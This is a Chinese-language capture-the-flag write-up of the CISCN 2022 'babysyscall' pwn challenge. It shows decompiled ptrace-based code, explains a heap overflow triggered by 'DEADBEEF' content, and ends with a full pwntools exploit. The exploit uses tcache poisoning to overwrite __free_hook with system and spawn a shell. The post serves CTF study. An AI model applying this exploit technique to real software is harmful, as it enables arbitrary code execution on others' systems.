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CISCN 2022 ES Babysyscall

wjh wjh 收录于 Pwn
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本文最后更新于 2024-02-12，文中内容可能已过时。

好久没更新了，最近有一位师傅问我 CISCN 2022 ES babysyscall 一题怎么做，故翻出来研究了一下，其实就是常规堆题套壳，如果有其他有意思的题目，欢迎师傅们与我探讨！

babysyscall

程序代码

子程序

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void __noreturn child()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rbx
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rbx
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 size; // rbx
  __int64 ptr; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  __int64 v18; // rax
  __int64 v19; // rbx
  __int64 v20; // rax
  __int64 v21; // rax
  __int64 v22; // rax

  ptrace(PTRACE_TRACEME, 0LL, 0LL, 0LL);
  raise(0x12);
  v0 = strlen(logo);
  my_syscall(0x1234LL, (__int64)logo, v0, 0LL);
  my_syscall(0x9811LL, (__int64)get_sym, 0LL, 0LL);
  my_syscall(0x9824LL, 30LL, 0LL, 0LL);         // alarm(30)
  while ( 1 )
  {
    v1 = my_syscall(0x9811LL, (__int64)get_string, 2LL, 0LL);
    my_syscall(0x9811LL, printf_ptr, v1, 0LL);  // printf(">> ")
    choice_number = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
    if ( choice_number == 0x33 )                // SHOW
    {
      v12 = my_syscall(0x9811LL, (__int64)get_string, 0xDLL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v12, 5LL);// printf("idx: ")
      idx = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
      if ( (unsigned int)idx > 4 || !my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
        goto bad;
      v13 = my_syscall(0x9811LL, (__int64)get_string, 9LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v13, 0LL);// printf("content: ")
      size = my_syscall(0x9811LL, (__int64)get_size_pool, idx, 0LL);
      ptr = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
      my_syscall(0x1234LL, ptr, size, 0LL);
    }
    else if ( (unsigned __int64)choice_number > 0x33 )
    {
      if ( choice_number == 0x44 )              // EDIT
      {
        v16 = my_syscall(0x9811LL, (__int64)get_string, 0xDLL, 0LL);
        my_syscall(0x9811LL, printf_ptr, v16, 5LL);// printf("idx: ")
        idx = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
        if ( (unsigned int)idx > 4 || !my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
          goto bad;
        v18 = my_syscall(0x9811LL, (__int64)get_string, 9LL, 0LL);
        my_syscall(0x9811LL, printf_ptr, v18, 0LL);// printf("content: ")
        v19 = my_syscall(0x9811LL, (__int64)get_size_pool, idx, 0LL);
        v20 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
        my_syscall(0x1231LL, v20, v19, 0LL);
      }
      else
      {
        if ( choice_number == 0x55 )            // EXIT
        {
          v21 = my_syscall(0x9811LL, (__int64)get_string, 0xBLL, 0LL);
          my_syscall(0x9811LL, printf_ptr, v21, 0LL);// printf("bye!\n")
          exit(0);
        }
what:
        v22 = my_syscall(0x9811LL, (__int64)get_string, 0xCLL, 0LL);
        my_syscall(0x9811LL, printf_ptr, v22, 0LL);// printf("what?\n")
      }
    }
    else if ( choice_number == 0x11 )
    {
      idx = my_syscall(0x9811LL, (__int64)find_idx, 0LL, 0LL);
      if ( (unsigned int)idx > 4 )
        goto bad;
      if ( my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
        goto bad;
      v2 = my_syscall(0x9811LL, (__int64)get_string, 5LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v2, 5LL);// printf("size: ")
      malloc_size = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
      if ( malloc_size <= 0 )
        goto bad;
      if ( malloc_size > 0x28 )
        goto bad;
      v3 = my_syscall(0x9811LL, malloc_ptr, malloc_size, 0LL);
      my_syscall(0x9811LL, (__int64)set_ptr_pool, idx, v3);
      v4 = my_syscall(0x9811LL, (__int64)get_string, 9LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v4, 0LL);// printf("content: ")
      v5 = malloc_size;
      v6 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
      my_syscall(0x1231LL, v6, v5, 0LL);        // read(ptr, size)
      v7 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
      if ( my_syscall(0x9811LL, (__int64)check_DEADBEEF, v7, 0LL) )
        goto bad;
      my_syscall(0x9811LL, (__int64)set_size_pool, idx, malloc_size);
      v8 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) & 0xFFF;
      v9 = my_syscall(0x9811LL, (__int64)get_string, 7LL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v9, v8); // printf("addr: %p\n", ptr_pool[idx] & 0xFFF)
    }
    else
    {
      if ( choice_number != 0x22 )
        goto what;
      v10 = my_syscall(0x9811LL, (__int64)get_string, 0xDLL, 0LL);
      my_syscall(0x9811LL, printf_ptr, v10, 5LL);// printf("idx: ")
      idx = my_syscall(0x9811LL, (__int64)get_int, 0LL, 0LL);
      if ( (unsigned int)idx <= 4 && my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL) )
      {
        v11 = my_syscall(0x9811LL, (__int64)get_ptr_pool, idx, 0LL);
        my_syscall(0x9811LL, free_ptr, v11, 0LL);// free(ptr_pool[idx])
        my_syscall(0x9811LL, (__int64)set_ptr_pool, idx, 0LL);// ptr_pool[idx] = 0
      }
      else
      {
bad:
        v17 = my_syscall(0x9811LL, (__int64)get_string, 3LL, 0LL);
        my_syscall(0x1234LL, v17, 4LL, 0LL);    // print("???\n")
      }
    }
  }
}

主程序

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__int64 __fastcall parent(unsigned int child_pid)
{
  __int64 result; // rax
  int stat_loc; // [rsp+14h] [rbp-ECh] BYREF
  __int64 v3; // [rsp+18h] [rbp-E8h]
  struct user_regs_struct s; // [rsp+20h] [rbp-E0h] BYREF

  v3 = 0LL;
  waitpid(child_pid, &stat_loc, 0);
  result = (unsigned __int8)stat_loc;
  if ( (unsigned __int8)stat_loc == 127 )
  {
    memset(&s, 0, sizeof(s));
    while ( 1 )
    {
      result = (unsigned __int8)stat_loc;
      if ( (unsigned __int8)stat_loc != 0x7F )
        break;
      ptrace(PTRACE_SYSCALL, child_pid, 0LL, 0LL);
      waitpid(child_pid, &stat_loc, 0);
      if ( BYTE1(stat_loc) != 5 )
      {
        kill(child_pid, 9);
        exit(0xFFFFFFFF);
      }
      ptrace(PTRACE_GETREGS, child_pid, 0LL, &s);
      if ( s.orig_rax == 0x9811 )
      {
        s.rip = s.rdi;
        s.rdi = s.rsi;
        s.rsi = s.rdx;
        s.rsp += 8LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// call rdi(rsi, rdx)
      }
      if ( s.orig_rax == 0x1231 )
      {
        s.orig_rax = 0LL;
        s.rdx = s.rsi;
        s.rsi = s.rdi;
        s.rdi = 0LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// read(0, rdi, rsi)
      }
      if ( s.orig_rax == 0x1234 )
      {
        s.orig_rax = 1LL;
        s.rdx = s.rsi;
        s.rsi = s.rdi;
        s.rdi = 1LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// write(1, rdi, rsi)
      }
      if ( s.orig_rax == 0x9824 )
      {
        s.orig_rax = 0x25LL;
        ptrace(PTRACE_SETREGS, child_pid, 0LL, &s);// alarm(rdi)
      }
      ptrace(PTRACE_SYSCALL, child_pid, 0LL, 0LL);
      waitpid(child_pid, &stat_loc, 0);
    }
  }
  return result;
}

子程序整理后的代码

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#include <stdio.h>
#include <string.h>
#include <stdlib.h>

unsigned long long size_pool[4];
void *ptr_pool[4];


int choice_number;
int idx;
int size;

int get_int()
{
  char s[0x30];
  memset(s, 0, sizeof(s));
  read(0, s, sizeof(s));
  return atoi(s);
}

int find_idx()
{
  int i;

  for ( i = 0; i <= 3; ++i )
  {
    if ( !ptr_pool[i] )
      return i;
  }
  return -1u;
}

void init_io()
{
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  setbuf(stdout, 0LL);
}

int main()
{
	init_io();
	while(1)
	{
		printf(">> ");
		choice_number = get_int();
		switch(choice_number)
		{
			case 0x11:
				idx = find_idx();
				if ((unsigned int)idx > 4)
					goto bad;
				if (ptr_pool[idx])
					goto bad;
				printf("size: ");
				size = get_int();
				if (size <= 0 || size > 0x28)
					goto bad;
		
				ptr_pool[idx] = malloc(size);
				printf("content: ");
				read(0, ptr_pool[idx], size);
		
				if (strncmp(ptr_pool[idx], "DEADBEEF", 8uLL) == 0)
					goto bad;
		
				size_pool[idx] = size;
				printf("addr: %p\n", (unsigned long long)ptr_pool[idx] & 0xFFF);
				break;
			case 0x22:
				printf("idx: ");
				idx = get_int();
				if ( (unsigned int)idx <= 4 && ptr_pool[idx] )
				{
					free(ptr_pool[idx]);
					ptr_pool[idx] = 0;
				}
				else
				{
					bad:
					printf("???\n");
				}
				break;
			case 0x33:
				printf("idx: ");
				idx = get_int();
				if ( (unsigned int)idx > 4 || !ptr_pool[idx] )
					goto bad;
				printf("content: ");
				write(1, ptr_pool[idx], size_pool[idx]);
				break;
			case 0x44:
				printf("idx: ");
				idx = get_int();
				if ( (unsigned int)idx > 4 || !ptr_pool[idx] )
					goto bad;
				printf("content: ");
				read(0, ptr_pool[idx], size_pool[idx]);
				break;
			case 0x55:
				printf("bye!\n");
				exit(0);
				break;
			default:
				printf("what?\n");
				break;
		}


	}

	return 0;
}

程序漏洞

在 0x11 功能中，如果堆块内容中存在 DEADBEEF，就会跳过后续的 size 数组赋值造成堆溢出

利用思路

  1. 堆溢出改 tcache next 到 tcache struct 中储存 0x20 size 堆块指针处
  2. 修改 tcache struct 上的堆块指针（1 中申请得到的）得到 tcache struct 的头部，多次申请释放，直到放置到 unsorted bin 中
  3. 通过 tcache struct 泄露出 libc 指针
  4. 修改 tcache struct 上的堆块指针（1 中申请得到的）得到 __free_hook

调试建议

  1. 由于子进程被父进程所调试，所以没法再用 gdb 进行调试，这里可以编译一份子程序整理后的代码，然后把堆块布局搞清楚，再去原版程序上微调一下即可
  2. libc 给的是比较早的版本，Ubuntu GLIBC 2.27-3ubuntu1.2，先用 patchelf 替换 libc，再用 ida 修改 0x0000000000001C68 为 /lib/x86_64-linux-gnu/libc.so.5，然后再把 glibc-all-in-one 中的 libc 软链接到 /lib/x86_64-linux-gnu/libc.so.5，启动程序后能正常执行 malloc 即可

EXP 

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from pwn import *

sh = process('./pwn')
context.log_level = "debug"


def choice(idx):
    sh.sendlineafter(">> ", str(idx))


def add(size, content):
    choice(0x11)
    sh.sendlineafter("size: ", str(size))
    sh.sendafter("content: ", str(content))


def delete(idx):
    choice(0x22)
    sh.sendlineafter("idx: ", str(idx))


def show(idx):
    choice(0x33)
    sh.sendlineafter("idx: ", str(idx))


def edit(idx, content):
    choice(0x44)
    sh.sendlineafter("idx: ", str(idx))
    sh.sendafter("content: ", str(content))


add(0x28, 'a' * 0x28)  # 0
delete(0)
add(0x18, 'DEADBEEF')  # 0
add(0x18, 'b' * 0x18)  # 1
add(0x18, 'c' * 0x18)  # 2

delete(2)
delete(1)

show(0)
sh.recvuntil('content: ')
sh.recv(0x20)
heap_base = u64(sh.recv(8)) - 0x340
log.success("heap_base:\t" + hex(heap_base))

edit(0, 'a' * 0x18 + p64(0x21) + p64(heap_base + 0x50))

add(0x18, 'd' * 0x18)  # 1 fake
add(0x18, p64(heap_base + 0x10))  # 2 tcache

for i in range(8):
    add(0x18, '\x00' * 0x18)  # 3
    delete(3)
    edit(2, p64(heap_base + 0x10))

add(0x18, p64(0))  # 3
show(3)

libc_base = u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x3ebca0
log.success("libc_base:\t" + hex(libc_base))

free_hook_addr = libc_base + 0x3ed8e8
system_addr = libc_base + 0x4f4e0
delete(1)
edit(2, p64(free_hook_addr))
add(0x18, p64(system_addr))  # 0

edit(2, '/bin/sh\x00')
delete(2)

# gdb.attach(sh)

sh.interactive()
更新于 2024-02-12 
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